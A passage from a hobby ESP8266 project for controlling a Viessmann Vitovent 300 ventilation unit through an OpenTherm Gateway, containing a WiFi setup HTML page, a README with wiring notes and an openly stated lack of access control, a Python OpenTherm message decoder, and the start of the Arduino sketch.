network</h2></div> <div> <span id="netw1"></span> <br/> <br/> </div> <div style="text-overflow:ellipsis;white-space:nowrap;overflow:hidden;"> <span class="t" id="progr1" ></span> </div> <div style="margin-top:.5em"><span id="time"></span> seconds left ...</div> <div class="c"> <input class="butt" type="button" onclick="hide('connecting')" value="Cancel"/> </div> </div> </div> </div> <div id="connected" class="modal"> <div class="dia"> <div style="padding:1em"> <div><h2 class="t" id="title2">Network connected</h2></div> <table> <tr><td>Network:</td><td id="netw2a"></td></tr> <tr><td>Address:</td><td id="addr2"></td></tr> </table> <ol> <li>Disconnect from this access point.</li> <li>Connect to <b><span id="netw2b"></span></b>.</li> <li>Navigate to <a id="link2"></a></li> </ol> If you cancel now, the settings will not be saved permanently and therefore discarded after next reboot.<br/></br/> <div class="c"> <input class="butt" type="button" onclick="hide('connected')" value="Cancel"/> </div> </div> </div> </div> <div id="configap" class="modal"> <div class="dia"> <div style="padding:1em"> <div><h2 class="t" id="title3">Device found</h2></div> You are now connected via the network <span id="nwssid3"></span> to IP address <span id="saddr3"></span>.<br/> <br/> Your own IP address is <span id="caddr3"></span>).<br/> <br/> You can now switch off the access point of the device. If you do so, you can only connect to it using the WiFi network configured.<br/> <br/> If leave it enabled, you can still connect to the device directly. You need to provide secure credentials in this case.<br/><br/> <input id="keepap" onchange="checkKeep()" type="checkbox"/>&nbsp;Leave AP active<br/><br/> <div id="apcreds" style="display:none"> <table> <tr><td>AP name: </td><td><input id="apssid"/></td></tr> <tr><td>Password:</td><td><input id="appsk1"/></td></tr> <tr><td>Repeat: </td><td><input id="appsk2"/></td></tr> </table> <br/><br/> </div> <div class="c" style="text-align: center""> <input id="_token_" type="hidden" /> <input id="save" class="butt" onclick="setAP()" type="button" value="Save and reboot"/> <input id="cancel" class="butt" onclick="hide('configap')" type="button" value="Cancel"/> </div> </div> </div> </div> <div id="rebooting" class="modal"> <div class="dia"> <div style="padding:1em"> <div><h2 class="t" id="title4">Rebooting</h2></div> <div><span id="progr4"></span></div> </div> </div> </div> <div id="error" class="modal"> <div class="dia" style="background-color:rgba(255,200,200,0.8)"> <div style="padding:1em 2em 2em 2em;"> <div class="close" onclick="hide('error')">❌</div> <div><h1 class="t" id="title5">Error</h1></div> <span id="errmsg"></span>. <br/> <br/> </div> </div> </div> <div style="margin:auto; display: table;"> <h1 id="title" class="t">VitoWifi</h1> <div style="margin:auto; display: table;"> <span class="t">Network:</span><br/> <input type="text" id="ssid" maxlength="32"/><br/> <br/> <span class="t">Password:</span><br/> <input type="text" id="psk" maxlength="32"/><br/> <br/> <div class="c"> <input type="button" class="butt" onclick="setNetwork()" name="connect" value="Connect"/> </div> </div> </div> </body> </html> )=====" <file_sep>/README.md Update 2023-01-11: Added support to pull desired ventilation level from external web site. Added support for sending notification via web API. Fixed also some bugs. Arduino sketch for a ESP-8266 WiFi micro controller to control a Vitovent 300 home ventilation unit via a OpenTherm Gateway and a WiFi connection. Vitovent is a registered trademark held by the German manufacturer Viessman. It is a device used for automatic home ventilation with heat recovery. For more detail please check the manufacturer's page: http://www.viessmann.de/de/wohngebaeude/wohnungslueftung/zentrale_wohnungslueftung/vitovent-300-w.html The actual ventilation unit is communicating with the remote controller via a 2-wire cable connection using the OpenTherm protocol. Since the controller has only very limited capabilities, I wanted more control over when to start/stop ventilation and at what throughput. In particular, I wanted to adjust the fan stage automatically depending on the air and weather conditions. For example, I want the fan to run at max speed only if this is really necessary (CO2 level too high), wanted to stop it at summer time when it's already hot outside and still cool inside, run at higher levels during the cool night hours or after a rain shower. The ESP does not communicate with the Vitovent directly. It needs a gateway that converts the voltage levels and protocol used between the controller and the unit on the one hand and the ESP on the other hand via UART (RS232 with 3.3V voltage) This gateway was designed by <NAME> (see http://otgw.tclcode.com) and is called OTGW (OpenTherm Gateway). The general setup looks as follows: <pre> [Controller] <-----OT-----> [OTGW] <------OT------> [VitoVent] ^ | RS232 (* see WARNING2 below) | [WebBrowser] <----WiFi----> [ESP8666] </pre> Using this sketch will allow you to collect the information that was intercepted by OTGW and to display it on any (mobile oder desktop) browser. It will also allow to control the ventilation level resp. start/stop ventilation. Provided you create a rule for this on your router, you could even control the unit over the internet. Besides reading and parsing the messages from the OTGW, the sketch implements also reading the temperature of some DS18B290 temperature sensors attached to GPIO2 of the ESP8266. This allows to monitor the temperature at the four air connections of the unit (supply in/outlet & exhaust in/outlet). Although the VitoVent provides its own measures for this, it does so however only on the inlet side (at least mine). <b>WARNING 1:</b> There is absolutely no access control implemented. Doing so means that virtually everybody can control your unit. You should assert a security policy by some other means then, e.g. with a web server that implements access restrictions before proxying the request to the ESP running this sketch. <b>WARNING 2:</b> The ESP is powered by 3.3V while the OTGW needs 5V. Also the logic levels on the I/O pins are 0/3.3V and 0/5V. While some people say that the ESP is not 5V tolerant, some say that this is a myth since the datasheets states that there is some electronics to protect agains over voltage. It's up to you to find out who is right and to risk to brick a ESP. For safe operation it is recommended to use a logic level shifter such as he AN10441 or PCA9306 or at least to use a voltage divider on the EPS's RX pin. Note that the cables need to be crossed thus connecting Rx on the ESP side to Tx on the gateway and vice versa. GPIO0 - which is used during flashing the ESP (must be pulled to ground) - can be connected to a LED and a resistor (approx. 200-30Ohms) towards Vcc (3.3V). It will be used as a heart beat to indicate this sketch is still operating and also show the current fan speed by flashing at different speeds. GPIO2 can be used to attach one ore more temperature sensors. A 4k7 pullup must be used between this pin and Vcc in this case: <img src="VitoWifi.png"> <file_sep>/opentherm.py #!/usr/bin/env python import sys, re datatypes = { 0:"READ-DATA", 1:"WRITE-DATA", 2:"INVALID-DATA", 3:"RESERVED", 4:"READ-ACK", 5:"WRITE-ACK", 6:"DATA-INVALID", 7:"UNK-DATAID" } dataids = { # TODO: What does HBmean and where did I get this from? #2:"HB: Master configuration", 2:"Master configuration", 6:"Remote parameter flags", 70:"Status V/H", 71:"Control setpoint V/H", # otgw matrix only. not (yet) seen on own device: 72:"Fault flags/code V/H", 74:"Configuration/memberid V/H", 77:"Relative ventilation", 80:"Supply inlet temperature", 82:"Exhaust inlet temperature", # TSP: "transparent slave parameter" 89:"TSP setting V/H", 126:"Master product version", 127:"Slave product version" } LEVEL_OFF=0 LEVEL_REDUCED=1 LEVEL_NORMAL=2 LEVEL_PARTY=3 def setVentilation(level): send(com, "GW=1\n") # set to gateway mode send(com, "VS=%s\n" % level) # ventilation setpoint override def setPointToVentilationLevel(sp): if 0==sp: return "OFF" if 1==sp: return "LOW" if 2==sp: return "NORMAL" if 3==sp: return "HIGH" def relativeToVentilationLevel(r): if 0==r: return "OFF" if 27==r: return "LOW" if 55==r: return "NORMAL" if 100==r: return "HIGH" def rawValues(hi, lo): return "%3i %3i x%02x x%02x %s %s" % (hi, lo, hi, lo, format(hi,'08b').replace("0","."), format(lo,'08b').replace("0",".")) def decodeMessage(msg): D = False sender = msg[0] dword = int(msg[1:], 16) if D: print("%s %08x" % (sender, dword)) parity = (0x80000000 & dword)>>31 mtype = (0x70000000 & dword)>>28 spare = (0x0f000000 & dword)>>24 dataid = (0x00ff0000 & dword)>>16 value = (0x0000ffff & dword) name = dataids.get(dataid) if D: print("parity: %01x" % parity) print("mtype: %01x" % mtype) print("spare: %01x" % spare) print("dataid: %02x" % dataid) print("value: %04x" % value) hi = (0xff00 & value) >> 8 lo = (0x00ff & value) datatype = datatypes[mtype] if 'T'==sender and datatype=='READ-DATA': pass # ignore... READ-ACK on this is more useful elif 'T'==sender and datatype=='WRITE-DATA': pass # same ... wait for WRITE-ACK elif 'B'==sender and datatype=="UNK-DATAID" and dataid in [126,127]: #print("**********") #print("%s\t%-14s [ID: %3i] %-30s %3i %3i (x%02x x%02x)" % (msg, datatype, dataid, name, hi, lo, hi, lo)) pass # "vitovent" does not know these. never did. never will. elif dataid in [89]: # TSP print("%s\t%-14s [ID: %3i] %-30s TSP(%s) = %s" % (msg, datatype, dataid, name, "%2i"%hi, "%3i"%lo)) elif dataid in [80,82]: temp = float(hi)+float(lo)/255 print("%s\t%-14s [ID: %3i] %-30s %2.2fC" % (msg, datatype, dataid, name, temp)) elif dataid in [71]: level = setPointToVentilationLevel(lo) print("%s\t%-14s [ID: %3i] %-30s %s" % (msg, datatype, dataid, name, level)) elif dataid in [77]: level = relativeToVentilationLevel(lo) print("%s\t%-14s [ID: %3i] %-30s %s" % (msg, datatype, dataid, name, level)) elif name is not None: print("%s\t%-14s [ID: %3i] %-30s %s" % (msg, datatype, dataid, name, rawValues(hi,lo))) else: print("%s\t%-14s [ID: %3i] %-30 %s" % (msg, datatype, dataid, "??", rawValues(hi,lo))) if 0!=spare: print("*WARNING*: spare: %s" % spare) def main(args): with open(args[1],"r") as fd: lines = fd.readlines() for line in lines: line = line.strip().upper() if ""==line: pass elif (re.match('[0-9]{2}:[0-9]{2}:[\.0-9]{9}[\t ]*[TB][0-9A-F]{8}.*', line)): #print #print(line[16:]) line = line[16:25] #print("line: '%s'" % line) decodeMessage(line) elif (re.match('[TB][0-9A-F]{8}.*', line)): decodeMessage(line) else: print("INFO: %s" % line) if __name__ == "__main__": if len(sys.argv)<2: sys.stderr.write("USAGE: opentherm.py <file>\n") sys.exit(1) main(sys.argv) <file_sep>/ESP_VitoWifi.ino // Copy secrets.h to secrets_priv.h, same for index.html.h and comment in to // activate your own versions of this file. Add both files to .gitignore!!! #define WITH_OWN_SECRETS #ifdef WITH_OWN_SECRETS #include "secrets_priv.h" #else #include "secrets.h" #endif /** Arduino sketch for a ESP-8266 WiFi micro controller to control a Vitovent 300 home ventilation unit via a OpenTherm Gateway and a WiFi connection. See https://github.com/apdlv72/VitoWifi or README.md @author: <EMAIL> */ // Uncomment WITH_DALLAS_TEMP_SENSORS to enable support for DS18B290 temperature sensors connected on PIN_SENSOR. // MAX_NUM_SENSORS defines the maximum number of sensors connected. // Since this sketch is for a home ventilation system, actually 4 would be sufficient for inlet/outlet air supply // and inlet/outlet exhaust. However, defining 8 here lets us add even more e.g. for monitoring the room temperature(s) // in your basement and/or living room, monitoring the temperature inside the OTGW device and so forth. // Every sensor requires just 2 bytes in RAM, so a large value is not too critical. #define WITH_DALLAS_TEMP_SENSORS #define MAX_NUM_SENSORS 6 // Uncomment to support a pin test on http://192.168.4.1/pintest?p=0. // When called, the mode of the respective pin "p" will be set to OUTPUT and value toogled between hi/low a couple of times. // This is useful to find out which pin number is assigned to what pin. Be careful with pins used by the ESP. // Check https://github.com/esp8266/Arduino/issues/1219 for more details. //#define WITH_PIN_TEST // Uncomment to enable ID to text translation of all known OpenTherm data IDs. // This cause a considerable overhead in RAM usage and is not enable by default since it is not used for normal operation. // However, should you use this sketch as a starting point to control anything else than a VitoVent 300, you might enable // this to learn what your devices are talking to eachother. //#define WITH_ALL_DATAIDS // enable OTA (over the air programming) //#define WITH_OTA // Enable serial debug functions //#define WITH_DEBUG_SERIAL // Enable sending debug messages on UDP port #define WITH_DEBUG_UDP #define UDP_PORT 4220 // Enable sending continuous stream of OT messages received on /dbg/tailf // #define WITH_TAILF // Enable a help page on http://192.168.4.1/help //#define WITH_USAGE_HELP // Enable html page to setup the device via browser. //#define WITH_WEB_SETUP // Enable upating ventilation level from an external web page on a regular basis. // Also requied to send alerts using a web API. #define WITH_WEB_CALLS // Enable adding invalid lines (commands) being handles as errors #define WITH_INVALID_LINES_AS_ERRORS false const char DEFAULT_START_SSID[] = "AP_VitoWifi"; // Initial password used to connect to it and set up networking. // The device will normally show up as SSID "http://192.168.4.1" // Connect to this network using the intial password and navigate your // browser to the above URL. #define DEFAULT_PSK "12345678" #define HTTP_LISTEN_PORT 80 /****************************************/ #include <errno.h> #include <EEPROM.h> #ifdef ESP8266 #include <ESP8266WiFi.h> #include <ESP8266WebServer.h> #elif ESP32 #include <WiFi.h> #include <WiFiClient.h> #include <WebServer.h> #else #error Unsupported platform #endif #ifdef WITH_OTA #include <ArduinoOTA.h> #endif #include <WiFiUdp.h> #ifdef WITH_WEB_CALLS #include <UrlEncode.h> #endif #ifdef WITH_DALLAS_TEMP_SENSORS #include <OneWire.h> #include <DallasTemperature.h> #endif // Using a copy of "easy EEPROM" library since needed to modify for ESP // to cope with watchdog timer resets (https://github.com/apdlv72/eEEPROM) //#include "eEEPROM.h" const String buildNo = __DATE__ " " __TIME__; #define LED_HEART 0 // heartbeat #define LED_ONBOARD 2 // blue onboard LED / temp. sensors #define LEVEL_NOOVER -1 // do not overrride (monitor mode) #define LEVEL_OFF 0 // standby, ventilation off #define LEVEL_LOW 1 // "reduced" mode (27% for mine ... may vary) #define LEVEL_NORM 2 // "normal" mode (55% for mine) #define LEVEL_HIGH 3 // "party" mode (100%) // result codes of onOTMessage #define RC_OK 0 // message handled #define RC_INV_LENGTH 1 // invalid message length (not Sxxxxxxxx) #define RC_INV_FORMAT 2 // xxxxxxxx was not a parsable hex value #define RC_INV_SOURCE 3 // S is not a known source (T,B.R,A) #define RC_UNEXP_T 4 // unexpected message from T(hermostat)/controller/master #define RC_UNEXP_B 5 // unexpected message from B(oiler)/ventilation/slave #define RC_UNEXP_R 6 // unexpected request (sent by OTG in favor of master) #define RC_UNEXP_A 7 // unexpected answer (sent by OTG in favor of slave) #define RC_UNEXP_O 8 // unexpected message from unknown source (should never occur) #define CT_TEXT_PLAIN "text/plain" #define CT_TEXT_HTML "text/html" #define CT_APPL_JSON "application/json" // Context type sent along with content stored in PROGMEM: const char PGM_CT_TEXT_HTML[] PROGMEM = "text/html"; const char PGM_CT_APPL_JSON[] PROGMEM = "application/json"; #ifdef WITH_OWN_SECRETS #pragma message "index_priv.h is active" const char HTML_INDEX[] PROGMEM = #include "index_priv.html.h" // The following line makes buildNo accessible for javascript: "<script>var buildNo = '" __DATE__ " " __TIME__ "';</script>"; ; #else const char HTML_INDEX[] PROGMEM = #include "index.html.h" // The following line makes buildNo accessible for javascript: "<script>var buildNo = '" __DATE__ " " __TIME__ "';</script>"; ; #endif #ifdef WITH_WEB_SETUP const char HTML_SETUP[] PROGMEM = #include "setup.html.h" ; #endif #ifdef WITH_ICONS const char MANIFEST_JSON[] PROGMEM = #include "manifest.json.h" ; const char FAVICON_ICO[] PROGMEM = #include "favicon.ico.h" ; const char FAN_PNG[] PROGMEM = #include "fan.png.h" ; #endif // Conveniently zero-terminates a C-string. #define TZERO(STR) { (STR)[sizeof((STR))-1] = 0; } #include "OTMessage.h" typedef struct { // Use signed 16 bits to allow -1 to indicate that // value was not yet assigned. int16_t hi; int16_t lo; } Value; // Global status struct { struct { long serial; // time of last message via serial line #ifdef WITH_DEBUG_SERIAL struct { long fed; // via URL /feedmsg?msg=...&feed=1 long debug; // via URL /feedmsg?msg=... (parsed only, not fed) } wifi; #endif } lastMsg; // time (millis()) when last message was received int16_t ventSetpoint; // as set by controller int16_t ventOverride; // as overridden by OTGW (sent to slave instead of ventSetpoint) int16_t ventWeb; // received from external web resource/page (see web_update.h) int16_t ventAcknowledged; // by the slave, sent to OTGW unsigned long lastAcknChange; int16_t ventReported; // from OTGW to controller, pretending level is as requested (ventSetpoint) int16_t ventRelative; // as reported by ventilation int16_t tempSupply; // milli Celsius (inlet) int16_t tempExhaust; // milli Celsius (inlet) int16_t tsps[64]; // transparent slave parameters struct { Value master; Value slave; } version; // values for DI_*_PROD_VERS Value status; Value faultFlagsCode; Value configMemberId; Value masterConfig; Value remoteParamFlags; struct { long serial; // total number of messages received on serial line struct { long fed; // via /feedmsg?feed=1... long debug; // (parsed only, not fed) } wifi; // number of invalid messages received struct { long length; // invalid length long format; // invalid line (pasing failed) long source; // invalid source (not T,B,R,A) } invalid; // expected messages of various types struct { long T; long B; long R; long A; long otgw; // otgw message response e.g. "GW: 1" replied on "GW=1" } expected; // unexpected messages of various types struct { long T; long B; long R; long A; long zero; } unexpected; } messages; // number of messages received unsigned long timeAdj = 0; String scriptVersion; String scriptName; String filterAction; String cartridgeAction; #ifdef WITH_DALLAS_TEMP_SENSORS int sensorsFound; long lastMeasure; int16_t extraTemps[MAX_NUM_SENSORS]; #endif } state; // Health monitoring and alert/report book keeping struct { // time when requested and acknowleged override started to differ unsigned long ventDiffStarted = 0; // time when last report sent that there is a difference unsigned long lastDiffReported = 0; // time we sent a recovery message (device responsive again) unsigned long lastRecoveryReported = 0; // time of last OTGW reset attempt unsigned long lastGWReset = 0 ; // time of when GW reset was reported unsigned long lastGWResetReported = 0; boolean isResponsive = true; boolean wasResponsive = true; // initial memory long initalFree = -1; // 1 hour before millis() will roll over unsigned long rebootTime = 4294967296 - 3600 * 1000; boolean startAnnounced = false; boolean rebootAnnounced = false; unsigned long lastWebCheck = 0; unsigned long lastWebCheckError = 0; unsigned long webFailCount = 0; unsigned long postOkCount = 0; String lastRebootDetails = ""; long loopIterations = 0; } health; #define WEB_CHECK_INTERVAL (20*60*1000) // 20 minutes // Credentials used to 1. set up ESP8266 as an access point and 2. define WiFI network to connect to. typedef struct { uint8_t used; char ssid[32 + 1]; char psk[32 + 1]; } Credentials; // I'm from cologne ;) const uint16_t MAGIC = 0x4712 ; // Everything that goes to EEPROM struct { // Detect if first time setup of EEPROM was done. uint16_t magic; boolean configured; // Start ESP in access point mode? Credentials accessPoint; // Network to connect to Credentials homeNetwork; // Count incremented on every reboot to enable monitoring of device crashes. uint32_t reboots; char rebootDetails[128]; } EE; // User committed first time setup (e.g. AP, network) and it was saved permanently. boolean configured = false; // A random token used during setup to authenticate committer. char configToken[10 + 1]; // Time at which an attempt to connect to a network will be considered expired during setup procedure. long connectAttemptExpires = -1; // Remember whether temperatures have been already requested for the first time. boolean temperaturesRequested = false; // After setup, a reboot is necessary. However, cannot do this while handling client request, // because this will abort the connection. Instead of this, finish sending the reponse to the // client and schedule a reboot after millis() will exceed this value. long rebootScheduledAfterSetup = -1; // A string to hold incoming serial data from OTGW. String inputString = ""; // wWhether the string is complete. boolean stringComplete = false; // set in setup() unsigned long stopUdpLoggingAfter = 0; #ifdef ESP8266 ESP8266WebServer server(HTTP_LISTEN_PORT); #elif ESP32 WebServer server(HTTP_LISTEN_PORT); #endif /*************************************************************** Heart beat LED */ boolean led_lit = false; volatile boolean led_blink = false; int timer_value = 250000; //void ICACHE_RAM_ATTR timerRoutine() { void IRAM_ATTR timerRoutine() { if (led_blink) { led_lit = (millis() / 50) % 2; digitalWrite(LED_HEART, led_lit ? LOW : HIGH); } timer1_write(timer_value); } void ledToggle() { led_lit = !led_lit; digitalWrite(LED_HEART, led_lit ? LOW : HIGH); } void ledFlash(int ms) { ledToggle(); delay(ms); ledToggle(); } /*************************************************************** Dallas temperature sensors support */ #ifdef WITH_DALLAS_TEMP_SENSORS // Data wire is plugged into port 2 on the Arduino #define ONE_WIRE_BUS 2 // GPIO2 #define TEMPERATURE_PRECISION 9 // Setup a oneWire instance to communicate with any OneWire devices (not just Maxim/Dallas temperature ICs) OneWire oneWire(ONE_WIRE_BUS); // Pass our oneWire reference to Dallas Temperature. DallasTemperature sensors(&oneWire); #endif // WITH_DALLAS_TEMP_SENSORS /*************************************************************** Debug support */ #define DBG_OFF 0 #define DBG_ON 1 #define DBG_UDP 2 #if defined(WITH_DEBUG_SERIAL) int DEBUG_LEVEL = DBG_ON; void dbg(String s) { if (DBG_OFF < DEBUG_LEVEL) { Serial.print(""); Serial.print(s); } } void dbgln(String s) { if (DBG_OFF < DEBUG_LEVEL) { Serial.print(""); Serial.println(s); } } void dbg(const char * s) { if (DBG_OFF < DEBUG_LEVEL) { Serial.print(""); Serial.print(s); } } void dbgln(const char * s) { if (DBG_OFF < DEBUG_LEVEL) { Serial.print(""); Serial.println(s); } } void dbg(int i) { if (DBG_OFF < DEBUG_LEVEL) { Serial.print(""); Serial.print(i); } } void dbgln(int i) { if (DBG_OFF < DEBUG_LEVEL) { Serial.print(""); Serial.println(i); } } #elif defined(WITH_DEBUG_UDP) WiFiUDP UDP; boolean doLogUDP = false; void logUDP(String msg) { if (doLogUDP) { UDP.beginPacket("255.255.255.255", UDP_PORT); UDP.print(" "); UDP.print(msg); UDP.endPacket(); } } int DEBUG_LEVEL = DBG_OFF; void dbg(String s) { logUDP(s); } void dbgln(String s) { logUDP(s); } void dbg(const char * s) { logUDP(s); } void dbgln(const char * s) { logUDP(s); } void dbg(int i) { logUDP(String(i)); } void dbgln(int i) { logUDP(String(i)); } #else int DEBUG_LEVEL = DBG_OFF; #define dbg(WHATEVER) {} #define dbgln(WHATEVER) {} #endif long leastHeap = -1; long maxStack = -1; void checkMemory() { long curr = ESP.getFreeHeap(); if (curr<leastHeap || leastHeap<0) { leastHeap = curr; } curr = getStackSize(); if (curr>maxStack || maxStack<0) { maxStack = curr; } } #ifdef WITH_WEB_CALLS #include "web_update.h" boolean doSendAlerts = true; #endif /*************************************************************** OpenTherm message parsing */ int onUnexpectedMessage(char sender, OTMessage& m) { dbg(String("onUnexpectedMessage: sender=") + sender + ": " + m.toString()); switch (sender) { case 'T': state.messages.unexpected.T++; return RC_UNEXP_T; // thermostat/master case 'B': state.messages.unexpected.B++; return RC_UNEXP_B; // boiler/ventilation/slave case 'R': state.messages.unexpected.R++; return RC_UNEXP_R; // otgw to thermostat case 'A': state.messages.unexpected.A++; return RC_UNEXP_A; // otgw to ventilation } return RC_UNEXP_O; } int toTemp(int8_t hi, int8_t lo) { // TODO: Need proof if temperatue conversion is correct for t<0 // But wow? Even at winter time, temperature will never be <0 ... because of my setup. // Maybe someone else can help here? int sign = hi < 0 ? -1 : 1; int abs = hi < 0 ? -hi : hi; abs = 100 * abs + (100 * lo / 255); return sign * abs; } int onMasterMessage(OTMessage& m) { state.messages.expected.T++; { switch (m.type) { case OTMessage::MT_READ_DATA: case OTMessage::MT_WRITE_DATA: switch (m.dataid) { case OTMessage::DI_CONTROL_SETPOINT: case OTMessage::DI_CONTROL_SETPOINT_VH: state.ventSetpoint = m.lo; return RC_OK; case OTMessage::DI_MASTER_PROD_VERS: state.version.master.hi = m.hi; state.version.master.lo = m.lo; return RC_OK; case OTMessage::DI_SLAVE_PROD_VERS: state.version.slave.hi = m.hi; state.version.slave.lo = m.lo; return RC_OK; } state.messages.expected.T++; return RC_OK; // ACKs from slave will be more usefull than these } } state.messages.expected.T--; // revoke former increment return onUnexpectedMessage('T', m); } int onSlaveMessage(OTMessage& m) { state.messages.expected.B++; { if (OTMessage::MT_UNKN_DATAID == m.type) { switch (m.dataid) { // Vitovent 300 never replies to these, never did, never will? // Seems like controller was designed to speak also to devices // that DO support this. case OTMessage::DI_MASTER_PROD_VERS: // should not be assigne here (always 0) //state.version.master.hi = m.hi; //state.version.master.lo = m.lo; return RC_OK; // its ok if that fails case OTMessage::DI_SLAVE_PROD_VERS: // should not be assigne here (always 0) //state.version.slave.hi = m.hi; //state.version.slave.lo = m.lo; return RC_OK; // its ok if that fails } } switch (m.dataid) { case OTMessage::DI_CONTROL_SETPOINT: case OTMessage::DI_CONTROL_SETPOINT_VH: if (state.ventAcknowledged != m.lo) { state.lastAcknChange = millis(); state.ventAcknowledged = m.lo; } return RC_OK; case OTMessage::DI_REL_VENTILATION: state.ventRelative = m.lo; return RC_OK; case OTMessage::DI_SUPPLY_INLET_TEMP: state.tempSupply = toTemp(m.hi, m.lo); return RC_OK; case OTMessage::DI_EXHAUST_INLET_TEMP: state.tempExhaust = toTemp(m.hi, m.lo); return RC_OK; case OTMessage::DI_TSP_SETTING: // Check filter: // "Die Filternachricht steckt aber in dem Telegramm mit den hex codes Bxx5917yy." // Sent from Boiler to Thermostat: // 0000 0000 0101 1001 00010111 00000000 // PTTT SSSS DDDD DDDD HHHHHHHH LLLLLLLL # data ID: 0x59 = 89 = DI_TSP_SETTING // parameter no. 0x17 = 23 if (/* always true: 0 <= m.hi && */ m.hi < 64) { state.tsps[m.hi] = m.lo; } return RC_OK; case OTMessage::DI_STATUS: state.status.hi = m.hi; state.status.lo = m.lo; return RC_OK; case OTMessage::DI_CONFIG_MEMBERID: state.configMemberId.hi = m.hi; state.configMemberId.lo = m.lo; return RC_OK; case OTMessage::DI_MASTER_CONFIG: state.masterConfig.hi = m.hi; state.masterConfig.lo = m.lo; return RC_OK; case OTMessage::DI_REMOTE_PARAM_FLAGS: state.remoteParamFlags.hi = m.hi; state.remoteParamFlags.lo = m.lo; return RC_OK; case OTMessage::DI_FAULT_FLAGS_CODE: state.faultFlagsCode.hi = m.hi; state.faultFlagsCode.lo = m.lo; return RC_OK; } } state.messages.expected.B--; // revoke former increment return onUnexpectedMessage('B', m); // B: boiler } int onRequestMessage(OTMessage& m) { state.messages.expected.R++; { switch (m.dataid) { // OTGW pretending towards the slave that controller wants to set this ventilation level, // e.g. R90470003 WRITE-DATA CONTROL SETPOINT V/H: 3 case OTMessage::DI_CONTROL_SETPOINT: case OTMessage::DI_CONTROL_SETPOINT_VH: // Hmm.. sometimes it does, sometime is does not. // Therefore saving this vakue now in overrideVentSetPoint() //state.ventOverride = m.lo; return RC_OK; } } state.messages.expected.R--; // revoke former increment return onUnexpectedMessage('R', m); } int onAnswerMessage(OTMessage& m) { state.messages.expected.A++; { switch (m.dataid) { case OTMessage::DI_CONTROL_SETPOINT: case OTMessage::DI_CONTROL_SETPOINT_VH: state.ventReported = m.lo; // OTGW answering to controller, pretending the current ventilation // level is the one that was requested by the controller before. return 0; } } state.messages.expected.A--; // revoke former increment return onUnexpectedMessage('A', m); } int onInvalidMessageSource(char sender, OTMessage& m) { onUnexpectedMessage(sender, m); return RC_INV_SOURCE; } int onInvalidLine(const char * line) { state.messages.invalid.format++; if (WITH_INVALID_LINES_AS_ERRORS) { handleError(line); } return RC_INV_FORMAT; } int onInvalidLength(const char * line) { dbg(String("onInvalidLength: '") + line + "'"); // TODO Investigate why we are receivign wrong lengths, seems like we are missing \n when busy state.messages.invalid.length++; handleError(line); return RC_INV_LENGTH; } void handleError(const char * line) { line = line; // please the compiler (unused param) } String onOTGWMessage(String line, boolean feed) { const char * cstr = line.c_str(); char sender = cstr[0]; const char * hexstr = cstr + 1; #ifdef WITH_DEBUG_UDP logUDP(line); #endif // Indicate there is some activity: ledFlash(5); // ACK of OTGW to command 'VS=x' or 'GW=1' messages sent by us to control fan speed level. if (line.startsWith("VS: ") || line.startsWith("GW: ")) { if (feed) { state.messages.expected.otgw++; } return String("ACK:'") + line + "'\n"; // adding white space causes flush?? } // This message sent by OTGW if there is no controller connected, probably // to fulfill OpneTherm specs (at least 1 msg/sec sent) if (line.startsWith("R00000000")) { state.messages.unexpected.zero++; return String("NOCONN:'") + line + "\n"; } String rc; int len = strlen(hexstr); if (8 != len) { // 1: 'B'/'T'/'A'/'R' followed by 8 hex chars rc = String("INVLEN[") + len + "]:'" + cstr + "':"; if (feed) { // add real result code if we should handle this message rc += onInvalidLength(cstr); } else { dbg(String("INVALID LENGTH: '" + line + "'")); // otherwise bail out after parsing, no rc applicable rc += "none"; } // and newline, to ease outout to client in tailf rc += "\n"; return rc; } //dbg("hexstr: "); dbg(hexstr); dbgln("'"); char hs[5], ls[5]; strncpy(hs, hexstr, 4); TZERO(hs); strncpy(ls, hexstr + 4, 4); TZERO(ls); uint32_t hi = strtol(hs, NULL, 16); uint32_t lo = strtol(ls, NULL, 16); uint32_t number = (hi << 16) | lo; if (0 == number && EINVAL == errno) { rc = "INVLINE:"; rc += cstr; rc += ':'; if (feed) { rc += onInvalidLine(cstr); } else { rc += "none"; } rc += "\n"; return rc; } OTMessage msg(number); #ifdef WITH_DEBUG_UDP logUDP(msg.toString()); #endif rc = String(sender) + ":"; rc += msg.toString(); rc += ':'; if (feed) { switch (sender) { case 'T': // from master: thermostat, controller rc += onMasterMessage(msg); break; case 'B': // from slave: boiler, ventilation rc += onSlaveMessage(msg); break; case 'A': // response (answer) replied by OTGW to the master rc += onAnswerMessage(msg); break; case 'R': // request send by OTGW to the slave rc += onRequestMessage(msg); break; default: state.messages.invalid.source++; rc += onInvalidMessageSource(sender, msg); } } else { rc += "none"; } rc += "\n"; return rc; } // TODO: Untested if OTGW firmware accep[ts this already void resetOTGW() { dbgln("resetOTGW"); for (int i = 0; i < 2; i++) { Serial.print("GW=R\r\n"); delay(50); } } int overrideVentSetPoint(int level) { level = level < -1 ? -1 : level > LEVEL_HIGH ? LEVEL_HIGH : level; if (level < 0) { for (int i = 0; i < 2; i++) { // stop overriding, just monitor Serial.print("GW=0\r\n"); delay(100); } } else { for (int i = 0; i < 2; i++) { Serial.print("GW=1\r\n"); delay(10); Serial.print("VS="); Serial.print(level); Serial.print("\r\n"); delay(20); } } dbg(String("overrideVentSetPoint, old:") + state.ventOverride + " new:" + level); int old = state.ventOverride; state.ventOverride = level; return old; } /*************************************************************** EEPROM configuration and networking setup */ boolean readConfiguration() { boolean success = false; EEPROM.begin(sizeof(EE)); EEPROM.get(0, EE); EEPROM.commit(); EEPROM.end(); if (MAGIC == EE.magic) { success = true; health.lastRebootDetails = EE.rebootDetails; } dbg(String("readConfiguration: success=") + success + ", lastRebootDetails=" + health.lastRebootDetails); return success; } void firstTimeSetup() { memset(&EE, 0, sizeof(EE)); EE.magic = MAGIC; EE.reboots = 0; EE.accessPoint.used = 1; strcpy(EE.accessPoint.ssid, DEFAULT_START_SSID); EE.accessPoint.psk[0] = 0; EE.homeNetwork.used = 0; EE.homeNetwork.ssid[0] = 0; EE.homeNetwork.psk[0] = 0; EE.configured = 0; strncpy(EE.rebootDetails, "First time setup", sizeof(EE.rebootDetails) - 1); EEPROM.begin(sizeof(EE)); EEPROM.put(0, EE); if (EEPROM.commit()) { dbg("EEPROM committed"); } else { dbg("EEPROM commit FAILED!"); } EEPROM.end(); health.lastRebootDetails = EE.rebootDetails; dbg(String("firstTimeSetup: lastRebootDetails:=") + health.lastRebootDetails); } void setRebootReason(String reason) { const char * msg = reason.c_str(); strncpy(EE.rebootDetails, msg, sizeof(EE.rebootDetails) - 1); EEPROM.begin(sizeof(EE)); 